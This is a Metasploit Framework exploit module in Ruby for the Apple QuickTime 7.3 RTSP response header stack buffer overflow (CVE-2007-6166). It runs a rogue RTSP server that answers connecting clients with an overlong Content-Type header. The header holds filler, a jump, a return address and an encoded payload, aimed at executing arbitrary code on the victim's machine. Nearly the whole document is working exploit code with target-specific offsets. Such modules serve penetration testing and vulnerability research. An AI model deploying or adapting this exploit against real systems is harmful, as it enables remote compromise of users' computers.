Apple QuickTime 7.3 RTSP Response Header Buffer Overflow



##

# $Id: apple_quicktime_rtsp_response.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::TcpServer

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
                RTSP response to a client, an attacker may be able to execute arbitrary code.
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2007-6166' ],
                    [ 'OSVDB', '40876' ],
                    [ 'BID', '26549' ],
                    [ 'URL', 'http://milw0rm.com/exploits/4648' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 700,
                    'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
                    'MaxNops'  => 0,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Nov 23 2007',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
            ], self.class)
    end

    def on_client_connect(client)
        return if ((p = regenerate_payload(client)) == nil)

        client.get_once

        buffer =  rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
        buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

        strname = rand_text_alpha(rand(75) + 1)
        date    = Time.now
        num     = rand(1).to_s

        header =  "RTSP/1.0 200 OK\r\n"
        header << "CSeq: 1\r\n"
        header << "Date: #{date}\r\n"
        header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
        header << "Content-Type: #{buffer}\r\n"
        header << "Content-Length: #{strname.length}\r\n\r\n"

        body =  "v=#{num}\r\n"
        body << "o=#{strname}\r\n"
        body << "s=#{strname}\r\n"
        body << "i=#{strname}\r\n"
        body << "t=#{num}\r\n"
        body << "a=tool:#{strname}\r\n"
        body << "a=type:#{strname}\r\n"
        body << "a=control:#{strname}\r\n"
        body << "a=range:#{strname}\r\n"
        body << "a=x-qt-text-nam:#{strname}\r\n"
        body << "a=x-qt-text-inf:#{strname}\r\n"
        body << "m=#{strname}\r\n"
        body << "c=#{strname}\r\n"
        body << "a=control:#{strname}\r\n"

        sploit = header + body

        print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

        client.put(sploit)
        handler(client)

        service.close_client(client)
    end

end